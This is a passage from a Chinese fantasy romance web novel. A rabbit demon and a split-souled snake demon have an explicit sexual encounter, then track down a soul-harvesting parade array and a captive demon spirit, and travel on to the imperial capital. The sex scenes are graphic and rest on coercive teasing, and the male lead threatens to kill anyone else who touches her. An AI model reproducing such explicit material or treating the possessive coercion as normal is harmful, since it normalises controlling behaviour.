而此时的息尘,识海万涛肆虐,相合又不相合的意识又在争斗,息尘欲回忆所有,可他年幼有关的记忆,全部被分割而出的妖性独占,而妖性桀骜,冷嘲热讽,欲吞噬人性的部分强大自身。 这场争夺因一段记忆而始,最后却生生被玉扶打断,他们共同感受到了少女在身上的作怪,很过分,用手揉,用脚踩,还揪胸—— 男子的颗粒并不大,哪里耐得住她揪,一下,睁开了眼,垂眼间,少女的头还低在胸前吹气,想也是知道用大了力,在补救。 吹气呼呼,酸疼中带上了痒。 裴息尘喉结滑动,溢出一声暧昧不清的“嗯”音。 玉扶高兴抬脸,脱口而出:“你醒了!” 暂且不想她口中的“你”到底是在为谁高兴,裴息尘先低眼看清了自己,上半身就不用说了,连片料子都没给她留,下半身,亵垮都被脱了一半。 中间半遮半掩地盖着些褪下和掀起的袍摆。 显见地,玉扶也想到了这些,她生气神魂进不去息尘识海,也叫不醒他,就将他弄得更乱七八糟了。 她弱弱地缩着眼,勾着一点亵垮边替他往上提:“我可以解释。” “我是在担心你。” “我想叫醒你。” 裴息尘默然半晌,莞尔,一手摁住了玉扶往上勾亵垮的手,一手擒住了玉扶的小脸,令她仰脸:“我的好阿扶,多谢你叫醒我。” “不如来猜猜,你叫醒的是哪个?” 他笑起来,白牙晃眼,眼中兴味犹如看待待宰的羔羊,好坏,好恶。 他开始礼尚往来地给羔羊剥皮,一层一层地剥开玉扶的衣裳,最后凑耳一问:“惊喜吗?” 惊喜得玉扶要哭了,她最讨厌一点预兆都没有的转变了。 她哆嗦着答:“惊喜。” 裴息尘指尖安抚般地揉捏她的手,尤其在指缝处徘徊,一点一点地挤开,直到扣住,猎物再也跑不掉:“阿扶,我同你说过的,我不会罚你,我只会同你要补偿。” “乖阿扶,坐过来些。” 玉扶哪里敢反抗,只得在阿裴坏坏的注视中,乖乖地跪坐他指定位置。 面对面的,外侧没支起的大腿就如他粗壮的蛇尾,强势困着她。 玉扶思过似的垂眼,可是他一伸一支,敞开的坐姿真的很没礼貌,隔着衣料,她也知道,那不可忽视的隆起,是在指她。 然而只有妖性,或者说现在勉强有一点人性了的裴息尘,或许根本就还不理解什么是羞耻,他是连嫉妒都能化为情趣,化为更肆意欺负玉扶筹码的妖孽。 他长指顺着玉扶的脊骨,一节一节缓缓地向下抚,最后落在腰窝处,掌住。 玉扶的温感似乎天生就与他差了一个度,被掌住的地方,一瞬如鳞卷过,凉得她想倒下去,却也因这一掌的支撑,她还保持着方才的姿势,所有的颤栗恍若只是她自己的臆想。 阿裴真的太坏了,也太会折磨人,他总这样慢条斯理,先等着她被自己的摇摆和自己吓自己击溃。 她忍不住地投降:“你别欺负我。” 裴息尘:“什么样叫欺负?” 玉扶的最后一层小衣被挑开。 她哭:“你这样就叫欺负。” 裴息尘“哈”地发笑:“那你也欺负我了。”他挑起玉扶的一缕发轻嗅,“阿扶,你说说,你方才都是怎么欺负我的?嗯就在我没醒的时候。” 言罢,又不爽地补上一句:“不许提“他”,你欺负的就是我。” “乖阿扶,告诉我,告诉我便不同你要补偿了。” “你知道的,蜕皮后,你们背着我做了许多。” 妖孽的低语,每一句都在挑战着玉扶的神经,好像就是从阿裴会伪装息尘开始,他就如坏掉了一般,他可以不计较很多,也大度很多,可是精神层面的,他总要给玉扶留下更多更深刻的痕迹。 毫无疑问,他又在挑战她的承受力了,要亲口说出,在他陷入不知何故的不清醒时,对他做了什么,这不算太难以启齿,可是,阿裴最会拉低她的下限了,如果以后还要她描述更过分的呢? 可是,玉扶真的无法想得太多,也没骨气为了捍卫日后的底线去拒绝他当下提出的选项。 她太贪心,也非常会衡量,比起阿裴去算息尘代替蜕皮至今的总账,那当然是只要说说如何欺负的划算。 她不自觉轻泣地回答:“扒了衣服。” 裴息尘:“嗯。” 玉扶:“亲了嘴巴。” 裴息尘:“继续,详细些。” 还要详细,玉扶幽怨极了地抬眼,但她依然很难抵挡妖孽对她的诱惑,他真的好妖啊,海藻般的乌发半散着,彻底敞开的胸襟,大度地任人扫眼,就连亵垮都早在她想给他穿回去那刻不翼而飞了。 也就腰际有点的外袍堆叠遮挡,豪放的坐姿,还在指她。 而且,每当她回忆一点儿,指着她的坏家伙还越没礼貌,她都看到了,那衣料都这样△更顶起来了。 简直恶趣味,变态。 玉扶也不管了地将他掌在后腰的手挪开,跪坐向上地挺腰,目光描绘地落在他的唇,详细地说:“先咬下唇,然后扫了扫,叩了叩牙齿,神魂往你识海钻” 裴息尘兴味得掀眼锁定玉扶,他也看着她的唇,还有那在翕张开合的唇内偶尔望见一点的粉舌。 可以想象,少女的唇瓣有多软,舌尖有多灵活湿润…… 他催促:“继续。” 第67章 与“继续”二字同时的, 是一声羞耻的拍响。 玉扶不可置信地瞪圆了眼,他打她屁股。 不痛,可伤害性极强, 还好怪异啊。 她才伸手去捂了捂,又是催促的一眼望来。 玉扶扁扁嘴, 不太服气地轻哼了哼, 目光也从他的唇角向下:“摸了喉结, 揉了这儿……” 玉扶手指他胸膛, 虚点了点, 后头的话还没来得及说,阿裴握住了她的腕。 男子的手大而宽,握住时, 手背筋骨绷出弓弦一样漂亮的弧度, 他整个人奇怪的很,喉结微动,又像是饿了样子,眸子都快要发出兽类的绿光。 玉扶几乎要想, 他一定是忍不到听完回忆了, 他要开始吃她了, 她又怕又颤栗得发抖,担心吃不消,也担心这次一定跑不掉他的尾巴欺负了, 她会把她牢牢缠住,像守护财宝的恶龙一般, 密不透风。 她的腰不受控地软塌了下去,然控在手腕上的大手,却又将她提起, 她依上了宽阔的胸膛。 “阿扶,不要光说,欺负给我看。”喉音撩人,带喘似的:“让我看看,你是怎么摸的,怎么揉的哈” 色、气的哈声,玉扶感觉就连被握着的那部分肌肤的体温,都要烧了起来。 手抚在喉结,被握着向下,裴息尘用眼示意,往下要靠她自己。 从喉颈摸下,一掌覆不住的胸膛肌理。 他醒后,就没有出汗了,清爽柔韧,捏一下就往回弹。 不绷紧的时候就是软的,可若绷紧了,胸膛结实成一块,就非常的硬。 玉扶只胆小地揉了一下,手下的肌理就绷了起来,还泛出了不矜持、不知羞的粉色。 简直是蛇中色魔,淫蛇中的淫蛇。 兴奋点低的可怕。 偏生这样了,他还粗重着呼吸往上托玉扶的身子,头埋在她的颈发中吸闻着挑衅:“阿扶,就这样吗?是不是还缺了点什么?” 玉扶心虚得想躲,硬着头皮肯定:“就这样。” 脖颈间霎时一阵磨人的咬噬:“小骗子,没揪?” 当然是有揪的,尤其是在发现进不去息尘的识海,外头无论做什么他都反应,她就生气了,也更仗着为叫醒他,做得过分了好多。 即便是现在,阿裴的胸膛前—— 颗粒也可怜地立着。 玉扶哭着承认:“揪了。” 她的手被帮扶着覆了上去,裴息尘从她的颈发中抬头,眸光黑沉沉地压下:“阿扶,乖兔子,不该让我总提醒。” 他彻底堵死了玉扶偷工减料的回忆。 少女的手颤颤地覆着,指缝撩过,颗粒地分明可怜极了,可阿裴却快乐地哼出了声,尾巴再也管不住地放了出来。 凡人城镇的客栈哪里有妖族客栈那样适合妖族释放天性,一瞬,不大的屋中恍如成了大妖的巢穴,真正可怜的对象成了被大妖围绕的少女。 她是大妖的珍宝,也是大妖的猎物,足够美丽、足够孱弱、还足够可怜。 她的美丽、脆弱,每一分每一刻都在刺激着大妖的兴奋神经,裴息尘兴奋得受不了。 真想一口吞掉她! 玉扶再受不住他的眼神,簌簌发抖地认错:“我知道错了。” “不继续了好不好?” 虽然一直是她在欺负阿裴,可她心理真的承受不住这样怪异的折磨了,她被他指使得好奇怪,好难受,心都要被他掌控得渴求得一塌糊涂。 她甚至有一种错觉,再继续下去,她会同阿裴一样丢掉下限的,变得坏掉。 她哭哭啼啼,埋在裴息尘的胸前求饶。 然实际上,他们分明什么都没做,直觉敏锐的兔子总是先一步察觉危机。 明明可以更往下。 可现在她在哭着求,仰着脸,颤着细腰,一抖一抖,矛盾地又躲又贴近。 裴息尘蛇尾滑动,明知故问地托起玉扶:“阿扶这是怎么了?” 玉扶没脸见人地呜呜哭泣。 裴息尘当然清楚地感觉到了,被他指使着回忆的玉扶,不止有被迫的顺从,还有对他的渴求。 她贪图他的美色,也难抵他的诱惑。 是只贪恋情欲的色兔子。 但同时,她猜想到了她会变得更不堪,她害怕了,胆小得不敢对他显露更诚实的一面。 所以,进行到一半就求饶了。 他轻叹,却并不准备放过玉扶,恶劣地将水液呈现在玉扶眼前,哈笑:“原来是馋了?” 玉扶面红耳赤,问题是她根本挡不了,她早就被报复地剥尽了。 她想,她再也不趁人之危扒衣了。 然,现在想什么都晚了,坏透了的妖还在发、浪地摇着尾巴尖,坏笑地引诱她:“阿扶,想要的话,应该说什么?” 玉扶张了张唇,喉间失声一样发紧,她是不单纯,也学了好多好多的话本知识,可接触真正的情、事并算不上久。 而且,若将比较对象换成阿裴的话,她简直纯白得不像话。 她隐约知道阿裴想要她说什么,抛却羞耻地,诚实地,主动地,毫无保留地,请求他,给她。 她心间都在虚得发颤,她发现,心底有什么在涌动,她是妖嘛,更忠实一点又有什么关系,可又有一点儿同人修混久了掌握的羞耻心,又在告诉她,一旦被阿裴攻破了这道防线,她就真的真的再捡不起来了。 毕竟,她本来就很会适应,也很会享受。 冰凉的蛇鳞不紧不慢地流离她全身,凉丝丝,又刁钻至极,她脆弱怕痒的部位全然被掌握。 裴息尘欣赏猎物的发抖、挣扎,他才不会如同“他”一样虚伪,也不会要求玉扶矜持,他们是妖,更诚实更坦然地面对慾望有何不对? 他要阿扶喜欢上只有他才能给她的体验,要小兔子再难离开他。 尾巴尖更欢快地摇,眼神也更带勾子地鼓励。 终于,玉扶彻底软倒在他胸膛,纤柔双臂勾上他后颈,她轻轻的蹭,哀求并着羞耻到极致的泣音:“阿裴,不要欺负我了呜呜想要” 裴息尘眼尾勾红,压抑得近乎妖冶,他更坏了,吐出一个个更挑战玉扶底线的字眼:“阿扶,大声点,说得更清楚一些……” 蛇尾又动了,缠绕缓慢细致得人毛骨悚然。 玉扶几乎是下意识地夹住。 裴息尘原本保持的姿势,也一瞬感受到舒爽,他有点失了耐心,蛇鳞更急躁地卷、更逼迫地缠。 只有腿肉溢出的白与有蓝到近乎发黑的蛇鳞对比,才能令他继续忍耐。 玉扶彻底坏了,拥着阿裴的颈,忄青动地嘶声哭泣: “是阿扶要阿扶喜欢阿扶想全部吃下” 蛇尾倏然一松,裴息尘端详地将她放下,夸奖:“阿扶,真乖。” 然而,倏然全部撤离的蛇尾并没有让玉扶感到轻松,她的感官早就被高高吊起,失去这些只会让她慌张,她弓起身下意识地挽留,却被阿裴轻笑着按下:“别急。” 下一刻指骨分明的大掌取代了尾巴的作用,分开膝,按住。 埋进去。 玉扶的魂陡然飞了,眼神迷蒙,迷醉得发不出声。 她看不到阿裴了,可她能听到他在做什么。 原来,这也是可以的吗? 玉扶着迷了地想,双膝控制不住地发抖。 两股移位,裴息尘不满地抬头,视线一高一低地对上。 华美妖孽的阿裴吃得鼻尖染水,唇瓣湿红,而玉扶两颊更是泛着意乱情迷的酡红,这样相互看着,玉扶泪珠又被刺激得从眼角滑落。 她今天哭过很多次了,简直水捏的人一般,让人更想欺负。 裴息尘蛇尾摆动,尾巴尖撩过她的眼尾,语调恶劣:“阿扶,怎么又哭了不喜欢这样的奖励?” 不用玉扶回答,不小心吐出的一团水,已经让裴息尘在发笑。 他半弓下的身,向上挪动一些,从控住膝,转为了控住两、股:“原来是太喜欢了。” “我也喜欢。” 说着他亲了亲玉扶腿内侧的车欠肉。 又向上吮。 玉扶刺激得弓腰,撑不住地揪他的发。 声响靡靡,玉扶不知道哭了多久,娇嫩的肌肤都被硌得发痛。 最后终于歇了,玉扶想,她也没有下限了。 * 一切归为平静,蛇尾收束,裴息尘重新变得人模人样。 他餍足地舔唇,轻薄内衫披身支坐,姿态慵懒闲散,瞥一眼玉扶,腰肢还在惯性地一拱一拱。 轻笑得想去用尾巴替她翻个身。 然玉扶现在与惊弓之鸟无异,才一点靠近的动静,她怂得解除化形,彻底变成了兔子钻入散落的衣裳中。 享受够就躲起来的兔子。 裴息尘牙痒地哼声,视线却不再一直落于玉扶,凡域的天色亮的很早,同天色一同起的还有凡人繁杂的烟火与叫嚷。 他的记忆比息尘多出很多很多,但对这些也是陌生的,他的世界只有很小的一方天地,能见到的也不过是黑沉沉的石壁,冷寒泡着药的乌池,还有对着他看怪物一样严阵以待的卫队。 后来是不空圣者于凡域苦修,路过皇城,观气察觉不对,闯入了地牢中,大蛇短暂恢复理智,请求尊者带离她的孩子。 裴息尘不太懂什么是母爱子,只知道大蛇经常想杀他。 但唯有那次,他生出了难言的情绪,酸涩胀痛,漆黑双瞳倔强地盯着囚困在水中的美丽大蛇。 他想,要走那可以一起走,然而,大蛇只是用蛇首推远他,将血脉带着的传承与力量强行灌体地让渡给他。 他痛晕了过去。 再醒时,他已被携在不空圣者的腋下,离开了皇城,最后感受到的是,皇城方向,轰塌一般的地动。 许是因在太过弱小的年纪,拥有了不同寻常的力量,他的状态非常不稳定,他的妖性嗜杀暴虐,即便对上不空圣者,也常失智动手、啃咬…… 不空圣者并非是从一开始便带他回到佛宗中,中途他带他经行了许多地方,企图压下他的不安定。 然而,他的状态并没有好转,反而一日一日地妖性更显。 再后来,有一日,不空圣者与他讲了许久的禅,问他可愿当他的弟子,他答应了,却也从此割裂成了两人。 那个无知、纯善、无暇的他成了不空圣者的弟子,而暴虐不可控的他,成了只能从识海深处的禁制偶尔往外探的影子。 初时,他不服气,一次次地跑出还不完善的禁制,破坏、宣泄,为什么,为什么要抛弃他! 不空圣者只道时候未到,然后更加强化了禁制。 那么什么时候才是到了时候? 裴息尘唇畔笑意冷然,如今,他已能理解圣者口中的所谓“时候”,不过是,他吞了“他”,亦或是“他”先度化了他。 不管是哪种,成熟稳定下来的融合,都不将是危害。 裴息尘讨厌这样的感觉,恶心得想毁灭。 玉扶不过偷瞧他一眼,便撞见了他目底的疯狂,阴鸷又隽冷,让人震住,他不开心吗? 一只魂体小兔撞向裴息尘。 顷刻被擒。 裴息尘瞥目还躲在衣下的玉扶,懒洋洋地眯眼:“做什么?还想要?” 嗓调含着一丝恹恹的倦色,挠人的很,可玉扶总觉得他并没有在与她调情,她想了想,跳出了给她安心感的衣堆,落到阿裴的身上:“阿裴,你不开心吗?” 第68章 巴掌大的小兔子落在身上, 还挺有敦实的分量感。 玉扶以前在山上喜欢变得很大,可现在反而喜欢变得很小,这样更能令她感到安心。 她抬着眼, 扭扭捏捏地拱了拱:“你要是不开心的话,就摸摸我吧。” 其实, 到现在她全身都还敏感的厉害, 但她真的太心软了, 她觉得有一刻, 阿裴好悲伤, 即便他仍旧显得那样凶和危险,可就像是被抛弃了一样。 她无法具体形容到底为什么会这样想,但就是有那样的感觉。 她抱着牺牲小我的决心, 又蹭了蹭。 敦实有分量的磨蹭, 很难忽视,裴息尘火都要给她重新蹭上来了,顷刻,灵力灌入小兔穴道, 少女重新化形被压在身下。 男子浓黑的长发垂在玉扶颊侧, 鼻息浓重:“笨兔子, 你可真会惹火。” “你在邀请我嗯?” 裴息尘一口咬在玉扶蓬雪上,极坏地吃咬。 玉扶剧烈呼气,却没有推开, 她感受到阿裴在对她释放坏情绪。 他真是个很难琢磨的坏妖,他的心情好像自从再次醒来时, 就没有好过,他用不同寻常的方式,给她极乐, 却在之后兀自伤神。 玉扶弄不懂他到底是怎么了,可非要说的话,她宁愿阿裴恢复到他们刚认识时的模样,就又强大又什么都不上心,一直懒洋洋的,偶尔会威胁来威胁去,却不是什么大害。 她挺着迷那样的大妖的。 玉扶回忆着,也被吃着,双手搂住阿裴的头,难受地曲了点腰。 啧啧的.吮.舔声,羞得人面红耳赤。 玉扶分明没有刻意联想,却无端地想起动物界的哺乳。 她好像成了兔妈妈,然而,孩子却是一条恶贯满盈的坏蛇。 她的脸越来越红,坏蛇也终于吃够,他情绪似乎稳定了,甚至有兴致与玉扶讨论:“阿扶,谁教的你,遇见心情不好的坏蛋,让摸摸的?” 玉扶:“没有人教我,我自己知道的。” 她的姥姥,还有师姐们,都说,只要看到她心情就会很好,如果摸摸的话,就会更幸福。 所以,她变成兔子的时候,总是会很大方,任由师姐们摸,还可以靠着她睡。 裴息尘了然了,心软的笨兔子,一定经常这样安慰人,这让他很不爽。 不爽就要威胁,就要宣誓。 他提起玉扶捍卫道:“阿扶,你是我的小兔子,只可以我摸,只可以我亲,还只可以我吃,懂吗?” 玉扶想到师姐们,小声抗议:“如果不呢?” 裴息尘眼眸微锐,笑得残忍邪肆:“那就杀了他们。” 玉扶不反驳了,她相信现在的阿裴,是真的说得出做得到。 更多的光亮透过窗,人声也渐多,玉扶眨了眨眼,想提醒今日还要去抓庙会吃魂念的家伙,然想到约定这事的是息尘,而她眼前的是阿裴,她闭了嘴。 可转念又想,毕竟是那么多凡人的性命诶! 玉扶为难得都萎了。 她的欲言又止瞒不过裴息尘,松开了对她的桎梏,问:“说吧。” “今日有庙会,阿裴你陪我逛逛吧。”玉扶一会撒娇,一会使气:“你都从来没有陪我逛过热闹的地方!” 裴息尘困倦地打了个哈欠,提起:“妖王城不是吗?” 玉扶较真地反驳:“那根本不算,我一直在忙着帮你找狐妖,根本没有在享受。” 她招招手,一身新衣从储物中出现,一边穿一边往床下走,直到窗边,她系好腰带,推开了窗。 凡人城镇的市集与居所没有明显划分,甫一推开窗,外头的叫卖声响更直接地闯入,玉扶探出头,能见到远处不断靠岸的船只,近处更是有各种食物香气扑鼻。 修者其实是可不用这些食物的,可真的太香了,玉扶鼻尖都忍不住耸了耸。 只有凡人的凡域,好像比修界中多了一种名为生活的气息。 裴息尘尾巴彻底收起,同样掏出外袍没什么精神地系着,玉扶的心思从来都很好读懂,喜欢热闹是其一,想把他骗去继续“他”要做的事也是其一。 有一点他不得不承认,摸摸玉扶或许不至于让他的不爽快消散,但亲亲绝对有效,至少,他现在不会想着毁灭算了,而是想,他该抢占得多一些,再多一些。 * 玉扶如愿拉着阿裴外出了。 先在街边小摊要了两碗面,一碗素,一碗带肉臊,玉扶将有肉的移到自己面前,没肉的移到阿裴面前。 裴息尘抬眼不满地瞥她一眼,玉扶当作没看到,吃素的蛇,到现在都没有适应肉,玉扶知道呢。 面很烫,玉扶小口小口地咬着,耳朵不遗漏地听着各种凡人的各种闲聊,时而笑得乐不可支,时而又疑惑地皱眉思考。 凡域的灵力匮乏,如非必要都是不特意放出神识与动用灵力,但玉扶不一样,她就是听得远啊,就连修炼,她也试过了,她仍可从月华与曦光中吸收一定的能量。 像她这种天生亲近某一类灵感的妖,在凡域,可真是得天独厚啊。 所以,即便没有动用神识,她也听到了好些有趣的八卦。 她移动面碗,靠近裴息尘,与他分享:“后头那条街,有对夫妻在吵架,是书生丈夫偷拿了家中的钱去买诗集,被他卖猪肉的娘子发现了,然后那书生就翻开书对娘子说什么举案齐眉、梁孟相敬……” 玉扶其实也不是很懂这些词,她笑是因为这对夫妻说话真好玩,一个文绉绉的,一个嗓门洪亮,一个求饶,一个好像揪了书生的耳朵。 但从她口中表述出来,玉扶总觉得差了点意味,不满地鼓了鼓腮,只用眼认真地告诉阿裴:“总之,真的很好笑。” 裴息尘笑了:“好笑,还有什么?” 玉扶便又道是几个衙差在说案子,两女口角,其中一女揭人阴私,另一女的丈夫听到了,要妻子自证清白,那妻子伤心过度,当日夜里恼恨得想吊死在揭人阴私的女子家门前,但因为夜太黑,寻错了门,死在了一不相干的人家门前,遭了无妄之灾的人家担心影响开门做生意,就将尸体趁夜埋了…… 修界只有大小宗门与家族派别,哪里有什么衙门了断案了,玉扶听得有意思,转述时更是眉飞色舞。 裴息尘就着她灵动的容情,竟将一碗素面用完。 配合玉扶的好奇,他们还跑去衙门听了一回断案,案件明晰,当日也过去大半,蛇神庙中的蛇神娘娘像也已被请出。 蛇神像黄绸已揭,熠熠日光下,神像人身蛇尾,蛇尾并非盘踞,而是有弧度的伸展,如娲女一般威仪神圣。 神像前还有舞蛇开道,乐手跟随,不少百姓也紧随队伍,虔诚祈福,偶尔会有执事洒下灵水,引得一阵争抢。 但很快地,就会重新肃穆下来。 整个流程神秘又庄严,他们所信仰的神明好像就该受到如此的尊重。 玉扶一直跟在队伍后,她并见不到那些脱离的魂念,可游神的队伍走的越久,她越发感到压迫,周遭的凡人一摸一样的虔诚,一摸一样的庄严,他们的眼神好空,像被勾走魂的行尸走肉,但大片大片地聚集,辐射更广地影响着更多人。 有一瞬,玉扶也像是要被这种“空”吸引进去了,好似只有去信仰一些什么,才能获得踏实。 裴息尘拉了她一把:“不要跟了。” “气象已成,是法阵。” 玉扶疑惑“啊”了声,没听懂是一回事,有点分不清眼下的是谁又是一回事,有些时刻,阿裴与息尘二者的气质真的太趋近了。 然当她望入那漆黑的眼,读懂里面的不屑一顾时,玉扶就知道还是阿裴。 “什么法阵?”一日前,她与息尘在镇中闲逛时,都还没发现法阵呢。 裴息尘微抬下颌,示意玉扶看向游神路线,只见舞者腾挪,执事挥洒,一直合着某种韵律与节奏。 一道无形大阵一直随着队伍而成。 更精妙的是,此阵非一直存在,而是通过游行短暂形成,达到牵魂的作用,再辅以人们对神像的信仰,只会有更多普通人的魂念被留下来。 聚集得越来越多的人,无不有此阵的作用。 玉扶仔细琢磨一会,气得跺脚,这躲在凡域的不知是人还是妖的家伙真的是太坏了,他或许不直接伤人害命,但这些手段,不就是将凡人当作可以随时收割的猪猡、韭菜吗? 今个收一次,明个收一次,这里收一次,那里收一次,加之得凡人繁衍的快,那真是取之不尽用之不竭的力量。 玉扶气一会,眼巴巴地看着阿裴:“他们好可怜啊,今早我们还吃过他们的面,有个老伯还送我的他自己扎的花灯……” 玉扶不信阿裴就这么铁石心肠,就算是妖也是会有恻隐之心的呢。 而且,息尘来寻的因果,难道就不是阿裴的因果了吗? 那个蛇神娘娘像的存在,分明就说明了妖王必然是在凡域留下过痕迹,说不定就能从这里寻到源头呢。 裴息尘没有接玉扶的茬。 但他也不像是甩手不管的样子,远远地跟在游神队伍最后,目送队伍在夜幕前,有序地退回蛇神庙。 人群散开,恢复寻常的忙碌,交谈、笑语,直到夜色彻底降临,游神队伍再次从庙中迎出。 这次阵仗全然不同白日,更绚丽,更华美,锣鼓喧天,乐声喜庆,人群欢呼,有种神与民同乐的荒诞诡异之感。 玉扶倏地毛骨悚然,她感受到一阵异常恐怖熟悉的气息—— 是妖魄!恶妖的妖魄!—— 第69章 玉扶初次下山时, 就差点被恶妖的妖魄吞了,她太熟悉这感觉了。 已失去妖躯的妖,却不甘心魂飞魄散, 唯有不断噬魂与掠夺妖力来强大妖魄。 但玉扶从没想过,竟然会在凡域又遇到气息如此相似的妖魄, 就好像, 这些妖魄根本不是野生的, 而是被豢养的。 眼下, 百姓无知无绝地继续狂欢, 而蛇神像却已泛出灰黑的边缘,妖魄寄存在内,享用着源源不断的魂念。 简直将普通人用到了极致, 此刻若是强行逼出神像中的妖魄, 必然伤害神像,引来凡人的众怒,而修者于凡域的灵力不是源源不尽的,某种意义上也受制于普通人。 一下就陷入了为难的境地。 犹是玉扶思索的功夫, 周遭的气氛也好像变得窒息, 喧嚣褪色, 不断有凡人显出迷怔惘然的神色,他们似乎不知自己身在何处,发生了什么, 好半晌才麻木地收拾小摊,游魂似的往家的方向走。 玉扶运力, 身边落下一个个魂体小兔,企图于众人眼皮下将神像搬走,裴息尘捏住了她施决的手, 空出的一手颇有些不情不愿地向后抓握,只见无数灵线握于他拳中。 而灵线的另一端,是早已被神像吞入地魂念,拉扯中,神像开始摇晃,恍若有什么东西就要脱离神像。 游神的队伍不解发生了什么,放慢了步子查看,神像却抖动得更加厉害,裴息尘倏然一个収力,大团的黑影铺天盖地地压来。 玉扶开始跟着阿裴移动,直到脱开人群。 她惊讶看向同黑影拉锯在一起的阿裴,他将息尘的本事用得好熟练。 那些灵线无疑就是息尘在镇中闲逛时布下的。 原来用处是在这儿。 灵线同万千百姓脱离的魂念绑在一起,被妖魄吞下后,无法被消化,当阿裴回收时,妖魄若是不吐出被它吞下的魂念,必然有一番拉扯。 就是靠着这拉扯,才将妖魄带离了城镇中心。 此刻,玉扶并不出力,能角度极佳地瞧见完整的妖魄。 魂体庞大到臃肿的地步,与当初追击玉扶的那妖魄气息相似,却也不太同,好像更笨、更不自主? 到了逃无可逃的地步,方才舍得吐出一个个魂念,最后被无数灵线缠绕锁得身形缩得越来越小。 一切只用了最小的消耗,不但抓了妖魄还帮了一城的百姓。 然而,阿裴的神情却算不上多高兴。 玉扶已经能懂一点阿裴不爽快的点了,一定是用了息尘埋下的线在不爽快,可他最后还是出手了,她就知道就算只是妖性的部分,也不可能全然是反面的,妖可是也有好多好多种呢。 阿裴只是别扭一点罢了。 不过,她也才不会在这时候去触大妖的敏感点,直接跳过了捧哏的夸夸,去看被缚住的妖魄。 妖魄不断在挣扎,同时还露出威吓的吼叫,然那些灵线一直在缠紧,在消耗它的魂力,妖魄在逐渐变小。 可也是于这样的挣扎中,乌漆一团看不出形态的妖魄竟然挣扎出了它的本相,尖喙革面,赫然是只鸟妖。 玉扶惊讶得拉阿裴赶紧看。 裴息尘冷冷瞥眼,灵线收束力道并没有减缓半分,他并不需要从妖魄口中得到什么信息,或者说,即便是息尘也并用不上这些消息,他早已从狐妖的口中得知皇城的线索。 留在此,不过又是佛修的瞎好心在泛滥。 然而,挣扎出意识的妖魄却在向他们求救,断续的声、含糊的话在道:“救救我。” “要告诉妖怪物。” 玉扶被此类妖魄伤害过,故而反比谁都在意其透出的信息,几乎是立马就接上了问:“什么怪物?谁是怪物?” “妖王人” 妖魄的话越发艰难,玉扶忍不住求阿裴一眼,裴息尘才松一点灵线,妖魄却又失智地挣扎起来,继而像是触碰了什么禁制,散成一道黑烟消失。 时间短暂得根本来不及做出反应。 玉扶幽怨一眼阿裴。 裴息尘无语:“这也能怪我?” “你都不想想办法让他多说一些!”玉扶哼声,教训:“我师姐说过知己知彼才能百战不殆。” 裴息尘狐疑看她:“你师姐还会教你这些?” 玉扶面上一红,她师姐教的当然是用在其他方向的,可是谁让她聪明,能举一反三,用在其他处也是一样的,她开始分析: “这妖魄背后,一定有个在控制的大坏妖,妖王也一定是被坏妖控制了!” 裴息尘不置可否,凉凉地反驳:“万一那个大坏妖就是妖王又如何?” 玉扶肯定地摇头:“不会。” “妖王不会是那样的妖!” 裴息尘微垂下眼,视线认真地落在玉扶身上,听她道: “妖王能凭一己之力挑战各族大妖,建立妖王城,一统妖域,就一定不会是躲在背后见不得人搞事的坏妖。” “就算要做坏事”玉扶视线往阿裴身上勾了勾,继续道:“也一定是光明正大地做。” 裴息尘笑了,没想到竟会从阿扶的口中发现,原来他与妖王是有一点共通点的,强大的实力下,即便想做坏,又何必躲躲藏藏? 只有阴沟的老鼠才不敢见人。 他的眼神遽然变得锋锐,脑中渐浮现一个已经模糊了的身影,如果在之前,他还无法肯定有普通人能活得远超寿数,那在见过神像、法阵还有妖魄,已能确定,或真有普通凡人能活成怪物。 他们很快就会见面。 * 玉扶再从阿裴怀中钻出来时,已距大昭皇城不远。 她还在生气,气得一句话都不想同阿裴说。 自蓬瀛渡小镇拿下那个妖魄后,阿裴就打了鸡血一样,对寻找妖王突然积极了起来。 他们一同赶往大昭皇都所在,为不浪费灵力赶路,一路行的不快,倒也经过一些城镇,这些城镇或多或少皆有信奉蛇神娘娘,只底蕴不如蓬瀛渡小镇深,寻常时候,游行规模都不大。 当然,也就不是没有妖魄前去收缴魂念了,而是阿裴都视若无睹,只顾赶往皇都。 但玉扶绝不是为了这个在生气,她还没笨到理解不了擒贼先擒王的道理。 她生气的是,她变回了兔子,身上还多了一个限制化形与被探查的结界术,美名其曰是保护。 她都已经强大好多了,她不想一直被保护,她也可以保护别人。 然而,越是接近皇都,越是抗议无效。 这日,终于到了皇城之外,玉扶忍不住出来眺看。 凡域的皇城气象,尽显人造之极致,不知为何,玉扶却涌出一股酸涩,凡域的几乎所有凡人终其一生都触不了长生的入门,生命短的还比不上许多妖生来的开始,可是,他们的造物,却常像是一种神迹。 玉扶无法形容自己的感觉,唯能想到的只有姥姥说的,要敬畏。 所以也就更愤慨了,躲在凡域,将普通凡人的视作蝼蚁、燃料的家伙,简直就是邪道中的邪道,妖也为耻! 她愤慨得几乎要蹦出阿裴的怀里,却被捞回。 裴息尘:“阿扶,安分点。” 玉扶气得咬他摸来的手指。 裴息尘“吾”一声,享受地眯眼,小兔的啃咬,收着力的磨,怪不一样的。 简直把他咬爽了。 玉扶意识到后,就不咬了,重新缩回怀中。 裴息尘隔着衣料摸她,软乎乎一团,他要收回怀里揣个兔子像什么话的话,挺舒服的,而且尤为安心。 他安抚:“阿扶,这皇都不对劲,你要躲好了,不要让任何人发现,万一我要靠你呢?” 最后一句话尤其轻,他的手也恰好抚过玉扶的耳,玉扶身子都小小地颤了颤,用爪隔开,才憋着声气地回应:“知道了。” 裴息尘兀自笑得狡黠,单纯的兔子,尤为好哄,并不难听出她声音中小小的骄傲。 因为他说要靠她,所以开心了。 然实际上,他并不希望真会等到靠玉扶的那一天,只是越处于皇都,他的感觉越发不好,整个都城的都弥漫着一股不详的气息,没有朝气,只有许多犹如行尸走肉的普通人,他们脸上神情麻木,反应迟钝,显然是神魂不全的症状。 然则,从身体状态推断,失魂的时日并不久,也是,毕竟是一朝皇都,如何都不可能坏了凡域的秩序,偏颇太过,不会不引起注意。 可现下,毫无顾忌的现象,这也恰说明了问题—— 有人在等他来。 他的目也投向皇都最中心的皇城所在,如果一定会有一场恶战的话,他希望阿扶能不牵连其中,至少,能留下全力逃跑的能耐。 许是想到玉扶在逃跑上的能耐,他嗤地一笑,扭头带着玉扶先于皇城之外寻到几个不详的阵点破坏后,方靠着凡人看不穿的避形术法大摇大摆地入了皇城。 皇城之大囊括了宫城、官署、太庙、社稷坛等,裴息尘顺着所破坏的阵点指向,径直向社稷坛方位而去。 